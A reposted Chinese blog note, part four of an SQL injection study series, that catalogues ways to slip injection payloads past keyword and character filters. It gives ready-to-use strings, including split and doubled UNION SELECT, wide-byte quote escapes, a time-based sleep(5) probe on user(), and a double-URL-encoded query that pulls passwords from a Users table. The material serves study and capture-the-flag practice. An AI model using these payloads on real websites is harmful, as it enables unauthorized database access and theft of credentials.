博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL注入学习总结(四):SQL注入中的绕过
阅读量:4879 次
发布时间:2019-06-11

本文共 1418 字,大约阅读时间需要 4 分钟。

SQL注入中的绕过

一.对于关键字的绕过

  1. 注释符绕过:uni/**/on se/**/lect
  2. 大小写绕过:UniOn SeleCt
  3. 双关键字绕过:ununionion seselectlect
  4. <>绕过:unio<>n sel<>ect(可能是有些网站为了防止xss注入,所以过滤了<>,参照i春秋sql)
  5. 对于and,or的绕过其实还可以尝试一下&&,||,

这里需要注意一点就是or被过滤的时候order,information中的or也被过滤了


二.对特殊字符的绕过

  • 对空格的绕过:

    两个空格代替一个,用tab键代替空格 /**/ %20 %09 %0a 利用空格绕过:很多关键字都可以写成带括号的形式select(),or() 特殊函数中的空格绕过:ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1)))
  • 对单引号的绕过:

    宽字节 %bf%27 %df%27 %aa%27(争对字符集为GBK时使用
    十六进制绕过(针对需要输入表名的时候 'user'=>0x7573657273)

  • 对逗号的绕过:

    substr(x,1,1),mid(x,1,1)=>substr(x from 1 for 1) mid(x from 1 for 1) limit 0,1=> limit 0 offset 1 join(本身是用来连接两个表单的,所以join一定是要放在from后面放表单的位置): union select 1,2 => union select * from (select 1)a join (select 2)b select case when (条件) then (代码1) else (代码2) end 可以对应上if(条件,代码1,代码2) if(substring((select user()) from 1 for 1)='e',sleep(5),1) 可以变为 select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
  • 等号的绕过:

    利用<>(即不等于号)绕过 利用like绕过 利用greatest()绕过(greatest(a,b)返回较大的那个数) ?id=' or 1 like 1 ?id=' or 1 <> 1 ?id=' union select greatest(substr((select user()),1,1),95)

三.其他类型的绕过

  • 编码绕过:
     
    • 双重url编码:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users--+
    • unicode编码:'=> %u0037 %u02b9
      空格=> %u0020 %uff00
      左括号=> %u0028 %uff08
      右括号=> %u0029 %uff09
  • 相同字符的绕过:

    题目中有是可能会出现一种情况:

    它不允许出现某个字符串,但是在数据库中又确实存在这个字符串,再加之mysql与php的编码字符集不相同,便可以利用相似的字符将其绕过

1.png

可以参考的题目

转载于:https://www.cnblogs.com/vincy99/p/9642882.html

你可能感兴趣的文章
null值经过强转会怎样?
查看>>
Sharepoint学习笔记—Debug&TroubleShooting--Developer Dashboard的使用(3.向Assert and Critical Events段插入信息)...
查看>>
Sharepoint学习笔记—习题系列--70-573习题解析 -(Q147-Q150)
查看>>
Sublime Text 报“Pylinter could not automatically determined the path to lint.py
查看>>
Vue基础汇总
查看>>
[小技巧] gcc 编译选项-###
查看>>
0513课堂01 数组,数学函数,时间函数
查看>>
grunt对象之api
查看>>
《驻足思考》笔记
查看>>
全网最详细的Windows系统里PLSQL Developer 64bit的下载与安装过程(图文详解)
查看>>
自动化测试用例getText()获取某一个元素的值返回null或空
查看>>
大数智能未来
查看>>
virtualenv和virtualenvwrapper 的安装和使用
查看>>
MAC sublime text 无法自动补齐标签
查看>>
NgBook留言本开发全过程(1)
查看>>
LeetCode-指针法
查看>>
Python之路,Day12 - 那就做个堡垒机吧
查看>>
linux之shell之if、while、for语句介绍
查看>>
Mysql phpStudy升级Mysql版本,流产了怎么办?
查看>>
SQLServer之数据库行锁
查看>>